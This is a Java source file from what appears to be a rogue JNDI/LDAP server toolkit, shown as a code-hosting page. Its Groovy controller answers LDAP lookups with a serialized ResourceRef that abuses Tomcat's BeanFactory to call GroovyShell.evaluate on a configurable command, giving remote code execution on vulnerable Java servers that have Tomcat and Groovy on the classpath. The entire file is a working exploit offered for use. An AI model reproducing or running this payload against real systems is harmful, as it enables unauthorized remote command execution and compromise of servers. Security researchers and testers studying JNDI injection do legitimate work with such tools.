-
Notifications
You must be signed in to change notification settings - Fork 221
/
Groovy.java
51 lines (40 loc) · 2 KB
/
Groovy.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
package artsploit.controllers;
import artsploit.Config;
import artsploit.annotations.LdapMapping;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import org.apache.naming.ResourceRef;
import javax.naming.StringRefAddr;
import static artsploit.Utilities.getBase64CommandTpl;
import static artsploit.Utilities.serialize;
/**
* Yields:
* RCE via arbitrary bean creation in {@link org.apache.naming.factory.BeanFactory}
* When bean is created on the server side, we can control its class name and setter methods,
* so we can leverage {@link groovy.lang.GroovyShell#evaluate} method to execute arbitrary Groovy script
*
* @see https://blog.orange.tw/2020/09/how-i-hacked-facebook-again-mobileiron-mdm-rce.html for details
*
* Requires:
* Tomcat and Groovy in classpath
*
* @author https://twitter.com/orange_8361 and https://github.com/welk1n
*/
@LdapMapping(uri = { "/o=groovy" })
public class Groovy implements LdapController {
String payload = "'${cmd}'.execute()".replace("${cmd}", getBase64CommandTpl(Config.command));
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
System.out.println("Sending LDAP ResourceRef result for " + base + " with groovy.lang.GroovyShell payload");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String"); //could be any
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=evaluate"));
ref.add(new StringRefAddr("x",payload));
e.addAttribute("javaSerializedData", serialize(ref));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}